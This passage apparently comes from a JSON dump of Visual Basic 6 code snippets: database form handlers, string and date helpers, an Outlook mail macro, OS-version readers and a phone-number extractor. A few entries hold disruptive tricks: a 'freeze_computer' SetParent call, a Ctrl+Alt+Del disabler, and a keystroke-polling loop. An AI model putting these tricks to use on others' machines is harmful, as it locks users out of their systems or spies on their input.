adReason As ADODB.EventReasonEnum, ByVal pError As ADODB.Error, adStatus As ADODB.EventStatusEnum, ByVal pRecordset As ADODB.Recordset)\n 'This will display the current record position for this recordset\n lblStatus.Caption = \"Record: \" & CStr(adoPrimaryRS.AbsolutePosition)\nEnd Sub\nPrivate Sub adoPrimaryRS_WillChangeRecord(ByVal adReason As ADODB.EventReasonEnum, ByVal cRecords As Long, adStatus As ADODB.EventStatusEnum, ByVal pRecordset As ADODB.Recordset)\n 'This is where you put validation code\n 'This event gets called when the following actions occur\n Dim bCancel As Boolean\n Select Case adReason\n Case adRsnAddNew\n Case adRsnClose\n Case adRsnDelete\n Case adRsnFirstChange\n Case adRsnMove\n Case adRsnRequery\n Case adRsnResynch\n Case adRsnUndoAddNew\n Case adRsnUndoDelete\n Case adRsnUndoUpdate\n Case adRsnUpdate\n End Select\n If bCancel Then adStatus = adStatusCancel\nEnd Sub\nPrivate Sub cmdAdd_Click()\n On Error GoTo AddErr\n With adoPrimaryRS\n If Not (.BOF And .EOF) Then\n mvBookMark = .Bookmark\n End If\n .AddNew\n lblStatus.Caption = \"Add record\"\n mbAddNewFlag = True\n SetButtons False\n End With\n Exit Sub\nAddErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdDelete_Click()\n On Error GoTo DeleteErr\n With adoPrimaryRS\n .Delete\n .MoveNext\n If .EOF Then .MoveLast\n End With\n Exit Sub\nDeleteErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdRefresh_Click()\n 'This is only needed for multi user apps\n On Error GoTo RefreshErr\n Set grdDataGrid.DataSource = Nothing\n adoPrimaryRS.Requery\n Set grdDataGrid.DataSource = adoPrimaryRS(\"ChildCMD\").UnderlyingValue\n Exit Sub\nRefreshErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdEdit_Click()\n On Error GoTo EditErr\n lblStatus.Caption = \"Edit record\"\n mbEditFlag = True\n SetButtons False\n Exit Sub\nEditErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdCancel_Click()\n On Error Resume Next\n SetButtons True\n mbEditFlag = False\n mbAddNewFlag = False\n adoPrimaryRS.CancelUpdate\n If mvBookMark > 0 Then\n adoPrimaryRS.Bookmark = mvBookMark\n Else\n adoPrimaryRS.MoveFirst\n End If\n mbDataChanged = False\nEnd Sub\nPrivate Sub cmdUpdate_Click()\n On Error GoTo UpdateErr\n adoPrimaryRS.UpdateBatch adAffectAll\n If mbAddNewFlag Then\n adoPrimaryRS.MoveLast 'move to the new record\n End If\n mbEditFlag = False\n mbAddNewFlag = False\n SetButtons True\n mbDataChanged = False\n Exit Sub\nUpdateErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdClose_Click()\n Unload Me\nEnd Sub\nPrivate Sub cmdFirst_Click()\n On Error GoTo GoFirstError\n adoPrimaryRS.MoveFirst\n mbDataChanged = False\n Exit Sub\nGoFirstError:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdLast_Click()\n On Error GoTo GoLastError\n adoPrimaryRS.MoveLast\n mbDataChanged = False\n Exit Sub\nGoLastError:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdNext_Click()\n On Error GoTo GoNextError\n If Not adoPrimaryRS.EOF Then adoPrimaryRS.MoveNext\n If adoPrimaryRS.EOF And adoPrimaryRS.RecordCount > 0 Then\n Beep\n 'moved off the end so go back\n adoPrimaryRS.MoveLast\n End If\n 'show the current record\n mbDataChanged = False\n Exit Sub\nGoNextError:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdPrevious_Click()\n On Error GoTo GoPrevError\n If Not adoPrimaryRS.BOF Then adoPrimaryRS.MovePrevious\n If adoPrimaryRS.BOF And adoPrimaryRS.RecordCount > 0 Then\n Beep\n 'moved off the end so go back\n adoPrimaryRS.MoveFirst\n End If\n 'show the current record\n mbDataChanged = False\n Exit Sub\nGoPrevError:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub SetButtons(bVal As Boolean)\n cmdAdd.Visible = bVal\n cmdEdit.Visible = bVal\n cmdUpdate.Visible = Not bVal\n cmdCancel.Visible = Not bVal\n cmdDelete.Visible = bVal\n cmdClose.Visible = bVal\n cmdRefresh.Visible = bVal\n cmdNext.Enabled = bVal\n cmdFirst.Enabled = bVal\n cmdLast.Enabled = bVal\n cmdPrevious.Enabled = bVal\nEnd Sub\n"},{"WorldId":1,"id":5819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5835,"LineNumber":1,"line":"\n'this event fires when the menu is clicked in the IDE\nPrivate Sub MenuHandler_Click(ByVal CommandBarControl As Object, handled As Boolean, CancelDefault As Boolean)\n \n Dim MyPane As CodePane\n Dim lngStartLine As Long\n Dim lngEndLine As Long\n Dim lngStartCol As Long\n Dim lngEndCol As Long\n Dim strLine As String\n Dim tmpLine As String\n Dim i As Integer\n Dim LineLengths() As Integer\n Dim intLongestLine As Integer\n Dim intTotalLines As Integer\n Dim intLinecount As Integer\n Dim intDiff As Integer\n \n If strUser = \"\" Then\n strUser = \"'\"\n strUser = strUser & InputBox(\"Enter User Initials.\", \"Block Initials\")\n strUser = strUser & \" - \" & Format(Now, \"mm/dd/yy hh:mm\")\n End If\n \n Set MyPane = VBInstance.ActiveCodePane\n MyPane.GetSelection lngStartLine, lngStartCol, lngEndLine, lngEndCol\n \n intTotalLines = lngEndLine - lngStartLine\n \n ReDim LineLengths(intTotalLines)\n intLinecount = 0\n \n For i = lngStartLine To lngEndLine - 1\n strLine = MyPane.CodeModule.Lines(i, 1)\n If intLongestLine < Len(strLine) Then\n LineLengths(intLinecount) = Len(strLine)\n intLongestLine = LineLengths(intLinecount)\n End If\n intLinecount = intLinecount + 1\n Next i\n \n \n For i = lngStartLine To lngEndLine - 1\n strLine = MyPane.CodeModule.Lines(i, 1)\n tmpLine = strLine\n If Trim(tmpLine) <> \"\" Then\n intDiff = intLongestLine - Len(strLine)\n MyPane.CodeModule.ReplaceLine i, strLine & Space(intDiff + 5) & strUser\n End If\n Next i\n \n \n \nEnd Sub\n"},{"WorldId":1,"id":8953,"LineNumber":1,"line":"Public Function RemoveWeekends(strStartDate As String, intNumberOfDays) As Integer\n Dim i As Integer\n \n For i = 0 To intNumberOfDays\n Select Case Weekday(DateAdd(\"d\", i, CDate(strStartDate)))\n Case vbSaturday, vbSunday\n intNumberOfDays = intNumberOfDays - 1\n End Select\n Next i\n RemoveWeekends = intNumberOfDays\nEnd Function\n"},{"WorldId":1,"id":5954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5880,"LineNumber":1,"line":"Option Explicit\nDim Parsed() As String\nDim DelimitChr As String\nDim DelimitNum As Integer\nPrivate Sub Form_Load()\nDim X As Integer\nDelimitChr = Chr(1)\nDim ExampleString As String\nExampleString = \"1\" & DelimitChr & \"2\" & DelimitChr & \"3\" & DelimitChr\nCall CountDelimit(ExampleString)\nCall ParseData(ExampleString)\nCall DisplayInfo\nEnd Sub\nPrivate Sub CountDelimit(StrData As String)\nDim X As Integer\nDim NxtPos As Integer\nDelimitNum = 0\nDo\nX = X + 1\nNxtPos = InStr(NxtPos + 1, StrData, DelimitChr)\nIf NxtPos = 0 Then ReDim Parsed(DelimitNum): Exit Sub\nDelimitNum = DelimitNum + 1\nLoop\nEnd Sub\nPrivate Sub ParseData(StrData As String)\nDim X As Integer\nDim PrevPos As Integer\nDim NxtPos As Integer\nFor X = 1 To DelimitNum\nPrevPos = NxtPos\nNxtPos = InStr(NxtPos + 1, StrData, DelimitChr)\nParsed(X - 1) = Mid(StrData, PrevPos + 1, NxtPos - PrevPos - 1)\nNext X\nEnd Sub\nPrivate Sub DisplayInfo()\nDim X As Integer\nDim RetVal As String\nFor X = 0 To DelimitNum\nRetVal = RetVal & Parsed(X) & vbCrLf\nNext X\nMsgBox RetVal\nEnd Sub\n"},{"WorldId":1,"id":5877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5892,"LineNumber":1,"line":"sKeyStat = 0\nFor i = 0 To 255\n KeyResult = GetAsyncKeyState(i)\n If KeyResult = -32767 Then\n sKeyStat = 1\n Exit For\n End If\nNext i\n If sKeyStat = 1 Then\n msgbox \"Key pressed!!!\"\n End If"},{"WorldId":1,"id":5893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5946,"LineNumber":1,"line":"\nSub EmailFromOutlookInExcel() 'macro name\n Set myOlApp = CreateObject(\"Outlook.Application\") 'opens Outlook\n Set MailItem = myOlApp.CreateItem(olMailItem) ' opens new email\n Set myRecipient = MailItem.Recipients.Add(\"recipient@company.com\") 'inserts recipient's email address\n MailItem.Subject = \"Subject of message goes here\" 'subject of the email\n Set myAttachments = MailItem.Attachments.Add(\"C:\\foldername\\filename\") 'Path to Attachments\n'Repeat this line if there are more Attachments\n MailItem.Send 'sends the email\nEnd Sub"},{"WorldId":1,"id":5950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5994,"LineNumber":1,"line":"\nPrivate Sub Form_Load() 'Set Window to \"Always On Top\"\n Call SetWindowPos(Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)\nEnd Sub\nPrivate Sub tmrRefresh_Timer()\n Dim cursorPos As POINTAPI, textLength As Integer\n Dim hWnd As Long, winText As String\n \n Static prevHWnd As Long 'Store handle of previous Window\n \n Call GetCursorPos(cursorPos) 'Get current mouse position\n hWnd = WindowFromPoint(cursorPos.x, cursorPos.y) 'Get handle to Window mouse is over\n \n If prevHWnd <> hWnd Then 'If the Window mouse is the same as the previous Window that the mouse was over, don't refresh the information\n txtHWnd.Text = hWnd 'Show Window handle\n textLength = GetWindowTextLength(hWnd) + 1 'Get length of Window text\n winText = Space(textLength) 'Setup buffer to copy Window text\n Call GetWindowText(hWnd, winText, textLength) 'Get the actual text\n txtWinText.Text = winText\n prevHWnd = hWnd\n End If\nEnd Sub\n"},{"WorldId":1,"id":5996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6010,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim Handle As Long\n' the FindWindow-API needs the Caption-Name of the exe-File (e.g. Calculator for the Calc.exe!)\n' Handle = FindWindow(vbNullString, \"<CaptionNameOfExe>\")\nHandle = FindWindow(vbNullString, \"Calculator\") ' Is the exe already loaded?\n' *! im deutschen Windows muss bei diesem Beispiel statt \"Calculator\" das Wort \"Rechner\" stehen!!!\nIf Handle = 0 Then ' _if the Handle becomes 0 then START the EXE-File\n Handle = Shell(\"CALC.EXE\", 1)\n Else ' _if fires a Handle, the exe is there! Let┬┤s focus it...\n ShowWindow Handle, 0 ' Hide the EXE (huh! Where is the exe???)\n ShowWindow Handle, 1 ' Show the EXE (now it becomes the Focus!!!)\nEnd If\nEnd Sub"},{"WorldId":1,"id":6015,"LineNumber":1,"line":"Private Sub Form_Paint()\n Dim WidthOfBorder As Single\n ScaleMode = vbTwips\n WidthOfBorder = (Width - ScaleWidth) / 4\n \n 'assuming the progress bar is named ProgressBar1 and the status bar named StatusBar1, and placing the progress bar in panel 2\n 'moving the progressbar to the statusbar and adjusting size\n ProgressBar1.Move StatusBar1.Panels(2).Left + 30, _\n StatusBar1.Top + WidthOfBorder + 20, _\n StatusBar1.Panels(2).Width - 50, _\n StatusBar1.Height - WidthOfBorder - 30\n 'the values are hardcoded to allow the border to display to make the progressbar appear 3d and look smart. the progressbar may be hidden and replaced with text normally using the .panels().text property of the statusbar, as the progressbar is not actually in the statusbar, merely hovering above.\nEnd Sub"},{"WorldId":1,"id":6020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9088,"LineNumber":1,"line":"Dim lSecs As Long\nDim sMin As String\n \nlSecs = 120\nsMin = Format(Fix(lSecs / 60), \"#0\") & _\n \":\" & Format(lSecs Mod 60, \"00\")\nMsgBox sMin"},{"WorldId":1,"id":6021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6069,"LineNumber":1,"line":"Public Function HTTPSafeString(Text As String) As String\n Dim lCounter As Long\n Dim sBuffer As String\n Dim sReturn As String\n \n sReturn = Text\n \n For lCounter = 1 To Len(Text)\n sBuffer = Mid(Text, lCounter, 1)\n If Not sBuffer Like \"[a-z,A-Z,0-9]\" Then\n sReturn = Replace(sReturn, sBuffer, \"%\" & Hex(Asc(sBuffer)))\n End If\n Next lCounter\n \n HTTPSafeString = sReturn\n \nEnd Function"},{"WorldId":1,"id":6071,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim sCmdLine As String\n Dim idProg As Long, iExit As Long\n sCmdLine = fGetWinDir & \"\\notepad.exe\"\n idProg = Shell(sCmdLine)\n iExit = fWait(idProg)\n If iExit Then\n MsgBox \"Something very, very bad just happened.\"\n Else\n MsgBox \"Finished processing Notepad.\"\n End If\nEnd Sub\nFunction fWait(ByVal lProgID As Long) As Long\n ' Wait until proggie exit code <> STILL_ACTIVE&\n Dim lExitCode As Long, hdlProg As Long\n ' Get proggie handle\n hdlProg = OpenProcess(PROCESS_ALL_ACCESS, False, lProgID)\n ' Get current proggie exit code\n GetExitCodeProcess hdlProg, lExitCode\n Do While lExitCode = STILL_ACTIVE&\n DoEvents\n GetExitCodeProcess hdlProg, lExitCode\n Loop\n CloseHandle hdlProg\n fWait = lExitCode\nEnd Function\nPrivate Function fGetWinDir() As String\n ' Wrapper to return OS Path\n Dim lRet As Long, lSize As Long, sBuf As String * 512\n lSize = 512\n lRet = GetWindowsDirectory(sBuf, lSize)\n fGetWinDir = Left(sBuf, InStr(1, sBuf, Chr(0)) - 1)\nEnd Function\n"},{"WorldId":1,"id":6072,"LineNumber":1,"line":"Function fGetTempFile() As String\n Dim sTempDir As String\n sTempDir = fDirCheck(fGetTempDir())\n Dim sPrefix As String\n sPrefix = \"\"\n Dim lUnique As Long\n lUnique = 0\n Dim lRet As Long\n Dim sBuf As String * 512\n lRet = GetTempFileName(sTempDir, sPrefix, lUnique, sBuf)\n If InStr(1, sBuf, Chr(0)) > 0 Then\n fGetTempFile = _\n Left(sBuf, InStr(1, sBuf, Chr(0)) - 1)\n Else\n fGetTempFile = \"\"\n End If\nEnd Function\nFunction fGetWinDir() As String\n Dim lRet As Long\n Dim lSize As Long\n Dim sBuf As String * MAX_PATH\n lSize = MAX_PATH\n lRet = GetWindowsDirectory(ByVal sBuf, ByVal lSize)\n If InStr(1, sBuf, Chr(0)) > 0 Then\n fGetWinDir = Left(sBuf, InStr(1, sBuf, Chr(0)) - 1)\n Else\n fGetWinDir = \"\"\n End If\nEnd Function\nFunction fDirCheck(sDirName As String) As String\n fDirCheck = IIf(Right(sDirName, 1) = \"\\\", _\n sDirName, sDirName & \"\\\")\nEnd Function\nFunction fGetTempDir() As String\n Dim lRet As Long\n Dim lSize As Long\n Dim sBuf As String * MAX_PATH\n lSize = MAX_PATH\n lRet = GetTempPath(ByVal lSize, sBuf)\n If InStr(1, sBuf, Chr(0)) > 0 Then\n fGetTempDir = Left(sBuf, InStr(2, sBuf, Chr(0)) - 1)\n Else\n fGetTempDir = \"\"\n End If\nEnd Function\nFunction fGetSystemInfo() As Boolean\n Dim lRet As Long\n Dim iNullPos As Integer\n Dim colProdSuites As Collection\n Dim vCurrProdSuite As Variant\n OSVI.dwOSVersionInfoSize = Len(OSVI)\n OSVI.szCSDVersion = Space(128)\n lRet = GetVersionEx(OSVI)\n If lRet = 0 Then\n MsgBox (\"Error\" & vbCrLf & _\n Err.LastDllError & \" - \" & Err.Description)\n fGetSystemInfo = False\n Exit Function\n End If\n ' For major version number, minor version number,\n ' and build number, convert the value returned into\n ' a string.\n sSystemInfo = \"Major Version: \" & _\n Str(OSVI.dwMajorVersion) & vbCrLf\n sSystemInfo = sSystemInfo + \"Minor Version: \" & _\n Str(OSVI.dwMinorVersion) & vbCrLf\n sSystemInfo = sSystemInfo + \"Build Number: \" & _\n Str(OSVI.dwBuildNumber) & vbCrLf\n ' To determine the specific platform, use the \n ' constants you declared to evaluate dwPlatformId.\n ' Depending on the platform, check dwBuildNumber\n ' to determine the specific platform.\n sSystemInfo = sSystemInfo + \"Platform: \"\n Select Case OSVI.dwPlatformId\n Case VER_PLATFORM_WIN32s\n sSystemInfo = sSystemInfo & _\n \"Win32s on Windows 3.1\" & vbCrLf\n Case VER_PLATFORM_WIN32_WINDOWS\n sSystemInfo = sSystemInfo & _\n IIf(OSVI.dwBuildNumber = 0, _\n \"Windows 98\", \"Windows 95\") & vbCrLf\n Case VER_PLATFORM_WIN32_NT\n sSystemInfo = sSystemInfo & _\n IIf(OSVI.dwMajorVersion < 5, _\n \"Windows NT\", \"Windows 2000\") & vbCrLf\n End Select\n ' To determine service pack information, use the\n ' constants you declared to evaluate dwPlatformId.\n ' Depending on the platform, check szCSDVersion\n ' to determine the specific service pack information.\n Select Case OSVI.dwPlatformId\n Case VER_PLATFORM_WIN32s\n sSystemInfo = sSystemInfo & _\n \"No additional info on \" & _\n \"Win32s on Windows 3.1.\" & vbCrLf\n Case VER_PLATFORM_WIN32_WINDOWS\n sSystemInfo = sSystemInfo & _\n \"Additional OS Info: \" & _\n OSVI.szCSDVersion & vbCrLf\n Case VER_PLATFORM_WIN32_NT\n If Asc(Left$(OSVI.szCSDVersion, 1)) = 0 Then\n ' leftmost char = null, this is an\n ' empty string\n sSystemInfo = sSystemInfo & _\n \"Service Pack Install \" & _\n \"Info: No Service Pack \" & _\n \"Installed\" & vbCrLf\n Else\n ' find the null char in the string\n iNullPos = InStr(OSVI.szCSDVersion, Chr(0))\n sSystemInfo = sSystemInfo & _\n \"Service Pack Install \" & _\n \"Info: \" & _\n Left$(OSVI.szCSDVersion, _\n iNullPos - 1) & vbCrLf\n End If\n End Select\n ' For major service pack, major and minor\n ' version numbers, convert the values returned\n ' into a string.\n sSystemInfo = sSystemInfo & \"Service Pack Version: \"\n sSystemInfo = sSystemInfo & _\n CStr(OSVI.wServicePackMajor) & \".\" & _\n CStr(OSVI.wServicePackMinor) & vbCrLf\n ' To determine which product suite components are\n ' installed evaluate wSuiteMask and compare the value\n ' against the constants declared for the various\n ' product suites. Add information to the colProdSuite\n ' collection based on which product suites are installed.\n ' This this value is a set of bit flags. Test against\n ' each bit mask, add found items to a VB collection\n Set colProdSuites = New Collection\n If (OSVI.wSuiteMask And VER_SUITE_BACKOFFICE) = VER_SUITE_BACKOFFICE Then\n colProdSuites.Add \"Microsoft BackOffice components are installed.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_DATACENTER) = VER_SUITE_DATACENTER Then\n colProdSuites.Add \"Windows 2000 Datacenter Server is installed.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_ENTERPRISE) = VER_SUITE_ENTERPRISE Then\n colProdSuites.Add \"Windows 2000 Advanced Server is installed.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_SMALLBUSINESS) = VER_SUITE_SMALLBUSINESS Then\n colProdSuites.Add \"Microsoft Small Business Server is installed.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_SMALLBUSINESS_RESTRICTED) = VER_SUITE_SMALLBUSINESS_RESTRICTED Then\n colProdSuites.Add \"Microsoft Small Business Server is installed \" & \"with the restrictive client license in force.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_TERMINAL) = VER_SUITE_TERMINAL Then\n colProdSuites.Add \"Terminal Services is installed.\"\n End If\n ' list all product suites available\n ' that were added to the collection object\n sSystemInfo = sSystemInfo & \"Product Suites: \" & vbCrLf\n For Each vCurrProdSuite In colProdSuites\n sSystemInfo = sSystemInfo & vbCrLf & vbTab & vCurrProdSuite\n Next\n ' To determine the product type, use the constants you declared to\n ' evaluate wProductType.\n sSystemInfo = sSystemInfo & \"Product Type: \"\n Select Case OSVI.wProductType\n Case VER_NT_WORKSTATION\n sSystemInfo = sSystemInfo & \"Windows 2000 Professional\"\n Case VER_NT_DOMAIN_CONTROLLER\n sSystemInfo = sSystemInfo & \"Windows 2000 domain controller\"\n Case VER_NT_SERVER\n sSystemInfo = sSystemInfo & \"Windows 2000 Server\"\n End Select\n fGetSystemInfo = True\nEnd Function\nSub Main()\n If fGetSystemInfo() Then\n Dim sTmpFile As String\n sTmpFile = fGetTempFile\n Open sTmpFile For Output As #1\n Print #1, sSystemInfo\n Close #1\n Dim sCmd As String\n sCmd = fDirCheck(fGetWinDir()) & \"Notepad.exe \" & sTmpFile\n Dim vRet As Variant\n vRet = Shell(sCmd, vbNormalFocus)\n End If\nEnd Sub"},{"WorldId":1,"id":6081,"LineNumber":1,"line":"Public Declare Function SetParent Lib \"user32\" Alias \"SetParent\" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long\nfunction freeze_computer(frm as form)\n call SetParent(frm.hwnd, frm.hwnd)\nend function\n"},{"WorldId":1,"id":6283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6170,"LineNumber":1,"line":"DOWNLOAD IT, check out my site at: http://move.to/iNfOsWorld\n\nTHIS WEBSITE WONT LET ME UPLOAD IT, SO GET IT FROM MY WEBSITE, THEN VOTE FOR ME =], GET IT AT:\nhttp://members.xoom.com/infosworld2/C-ChatExample.zip\n"},{"WorldId":1,"id":7015,"LineNumber":1,"line":"'- You will need:\n'- 2 Command Buttons\nPrivate Sub Form_Load()\n'- Sets the Captions for the Buttons\nCommand1.Caption = \"Disable\"\nCommand2.Caption = \"Enable\"\nEnd Sub\nPrivate Sub Command1_Click()\n'- This disables the Ctrl + Alt + Del Method\n'- and the Alt + Tab Method\nCtrlAltDel_Disable\nEnd Sub\nPrivate Sub Command2_Click()\n'This enables the Ctrl + Alt + Del Method\n'- and the Alt + Tab Method\nCtrlAltDel_Enable\nEnd Sub\n"},{"WorldId":1,"id":6992,"LineNumber":1,"line":"'- Made By: iNfO\n'- Project: ^ Font Properties ^\n'- Items Needed:\n'- 3 - CommandButtons (Command1, Command2, Command3)\n'- 1 - Listbox (List1)\n'- 1 - Label (Label1)\nPrivate Sub Command1_Click()\n'- Declares the variables\nDim NUM As Single\nDim x As Single\n'- gets the numbers of fonts you have\nNUM = Screen.FontCount\n'- Set the listbox properties\n'- Set List1, Sorted = True\n'- Goes from 1 to number of fonts\nFor x = 1 To NUM\n List1.AddItem Screen.Fonts(x)\nNext x\n'- for some reason there will be a blank itme\n'- this removes it\nList1.RemoveItem (0)\n'- Displays the number of fonts\nLabel2.Caption = List1.ListCount\nEnd Sub\nPrivate Sub Command2_Click()\n'- Makes sure that there are fonts to choose from\nIf List1.ListCount <> 0 Then\n '- this makes the fonts watever you select from\n '- the listbox\n Label1.Font = List1.Text\nElse\n MsgBox \"you have to choose the fonts first\"\nEnd If\nEnd Sub\nPrivate Sub Command3_Click()\n'- Makes sure that there are fonts to choose from\nIf List1.ListCount <> 0 Then\n '- Declares the variables\n Dim Size As Single\n '- lets it inputbox get the font size\n '- Makes it a value\n Size = Val(InputBox(\"Enter the font size\"))\n Label1.FontSize = Val(Size)\nElse\n MsgBox \"you have to choose the fonts first\"\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\n'- Sets the captions of the buttons\nCommand1.Caption = \"Get Fonts\"\nCommand2.Caption = \"Apply Fonts\"\nCommand3.Caption = \"Get Fonts Size\"\nEnd Sub\n"},{"WorldId":1,"id":6099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6102,"LineNumber":1,"line":"Function FindPhoneNo(ByVal strAdText As String, _\n strDefaultAreaCode As String) As Variant\n' By Brett A. Paul - http://www.mitagroup.com/\n' This routine takes the incoming ad text and abstracts it out\n' (strAbstract) to perform some basic pattern matching. It also\n' builds a parallel real string (strReal) so that it knows where the\n' patterns came from and what they really are. Using this technique,\n' the routine builds patterns, then examines them for phone number\n' patterns.\nDim aPossible() As String ' This will hold the result set\nDim strReal As String ' This will hold the pattern-modified real numbers\nDim strAbstract As String ' This holds the pattern of the string\nDim strChar As String * 1 ' Holds 1 letter at a time from input string\nDim ptrWhere As Long ' Used in InStr functions\nDim ptrChar As Integer\nDim ptrPossible As Integer ' Points to last used possible array loc\nReDim aPossible(0) ' Will return array with element 0 if no #s found\n' Remove dollar amounts from string\nDo\n ptrWhere = InStr(strAdText, \"$\")\n If ptrWhere Then\n ' If a \"$\" is found, remove all numbers that appear after the\n ' \"$\". Note: This would need to be changed to allow for\n ' decimal places.\n Do While IsNumeric(Mid$(strAdText, ptrWhere + 1, 1))\n strAdText = Left$(strAdText, ptrWhere) & Right$(strAdText, _\n Len(strAdText) - (ptrWhere + 1))\n Loop\n ' Once the numbers are gone, take off the \"$\", too\n strAdText = Left$(strAdText, ptrWhere - 1) & Right$(strAdText, _\n Len(strAdText) - ptrWhere)\n End If\nLoop Until ptrWhere = 0\n' Begin building abstract and real strings for pattern matching\nstrReal = \"\"\nstrAbstract = \"\"\nFor ptrChar = 1 To Len(strAdText)\n ' Pick up the next character in the input string\n strChar = Mid$(strAdText, ptrChar, 1)\n If InStr(\",-() :;!#%&*/\", strChar) Then\n ' If character is one of these symbols, add a \"-\"\n ' This allows for phone numbers like (800) 555-1212\n ' or 800/555-1212, or however else people like to write\n ' phone numbers\n If Right$(strAbstract, 1) <> \"-\" And _\n Right$(strAbstract, 1) <> \">\" Then\n strAbstract = strAbstract & \"-\"\n strReal = strReal & \"-\"\n End If\n ElseIf IsNumeric(strChar) Then\n ' If character is numeric, add a \"#\"\n strAbstract = strAbstract & \"#\"\n strReal = strReal & strChar\n Else\n ' If the character is something else, add \"-\" for the first\n ' character, or <-> for more than one character.\n Select Case Right$(strAbstract, 1)\n Case \",\", \"#\", \"\"\n strAbstract = strAbstract & \"<->\"\n strReal = strReal & \"<->\"\n Case \">\" ' Nothing to do - already has delimiter\n Case \"-\"\n strAbstract = Left$(strAbstract, _\n Len(strAbstract) - 1) & \"<->\"\n strReal = Left$(strReal, Len(strReal) - 1) & \"<->\"\n End Select\n End If\nNext ptrChar\n' When two phone numbers appear right next to each other, they may\n' blend together in the pattern. To isolate each phone number,\n' separate the two with a delimiter <->. This is done by looking for\n' places where a dash and four numbers in a row are followed by\n' another dash in the abstract pattern\nDo\n ptrWhere = InStr(strAbstract, \"-####-\")\n If ptrWhere Then\n strAbstract = Left$(strAbstract, ptrWhere + 4) & \"<->\" & _\n Right$(strAbstract, Len(strAbstract) - (ptrWhere + 5))\n strReal = Left$(strReal, ptrWhere + 4) & \"<->\" & _\n Right$(strReal, Len(strReal) - (ptrWhere + 5))\n End If\nLoop Until ptrWhere = 0\n' Now that the patterns are ready, search for phone number patterns.\nptrPossible = 0\nDo\n ' Begin by searching for ###-####\n ptrWhere = InStr(strAbstract, \"###-####\")\n If ptrWhere Then ' Found a phone number\n If Mid$(strAbstract, ptrWhere + 8, 1) = \"#\" Then\n ' Too many numbers; this is not really a phone number.\n ' Remove the substring\n strAbstract = Left$(strAbstract, ptrWhere - 1) & _\n Right$(strAbstract, Len(strAbstract) - _\n (ptrWhere + 7))\n strReal = Left$(strReal, ptrWhere - 1) & _\n Right$(strReal, Len(strReal) - (ptrWhere + 7))\n Else\n If ptrWhere > 4 Then ' Check for inclusion of area code\n If Mid$(strAbstract, ptrWhere - 4, 4) = \"###-\" Then\n ' Area code included\n ' Add phone number to list of possibles\n ptrPossible = ptrPossible + 1\n ReDim Preserve aPossible(ptrPossible)\n aPossible(ptrPossible) = Mid$(strReal, ptrWhere - 4, 12)\n \n ' Extract the substring from the abstract and\n ' real string so they don't get in the way of the\n ' next search\n strAbstract = Left$(strAbstract, ptrWhere - 5) & _\n Right$(strAbstract, Len(strAbstract) - _\n 